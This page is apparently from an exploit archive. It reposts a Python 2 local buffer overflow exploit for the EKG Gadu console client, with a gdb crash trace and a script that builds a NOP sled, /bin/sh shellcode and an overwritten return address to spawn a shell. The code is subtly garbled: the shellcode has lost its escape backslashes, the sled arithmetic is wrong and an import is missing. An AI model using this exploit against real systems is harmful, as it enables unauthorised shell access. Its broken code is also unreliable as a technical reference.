Home / os / wince

EKG Gadu 1.9pre+r2855-3+b1 Local Buffer Overflow

Posted on 30 November -0001

<HTML><HEAD><TITLE>EKG Gadu 1.9pre+r2855-3+b1 Local Buffer Overflow</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY># Exploit developed using Exploit Pack v6.01
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
# jsacco@exploitpack.com
# Program affected: EKG Gadu
# Affected value: USERNAME
# Version: 1:1.9~pre+r2855-3+b1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description:  console Gadu Gadu client for UNIX systems - ncurses UI
# EKG ("Eksperymentalny Klient Gadu-Gadu") is an open source
# Gadu-Gadu client for UNIX systems.
# Kali Linux 2.0 package: pool/main/e/ekg/ekg_1.9~pre+r2855-3+b1_i386.deb
# MD5sum: c752577dfb5ea44513a3fb351d431afa
# Website: http://ekg.chmurka.net/
#
# gdb$ run `python -c 'print "A"*258'`
# 0x0807e125 in strlcpy ()
# gdb$ backtrace
# #0  0x0807e125 in strlcpy ()
# #1  0x080570bb in ioctld_socket ()
# #2  0x08052e60 in main ()


import os, subprocess

def run():
  try:
    print "# EKG Gadu - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 240
    nopsled = "x90"*30
    shellcode =
"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"
    eip = "x20xf1xffxbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["ekg ",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, EKG Gadu - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit EKG Gadu -  Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()
</BODY></HTML>

 

TOP

Malware :

Exploits :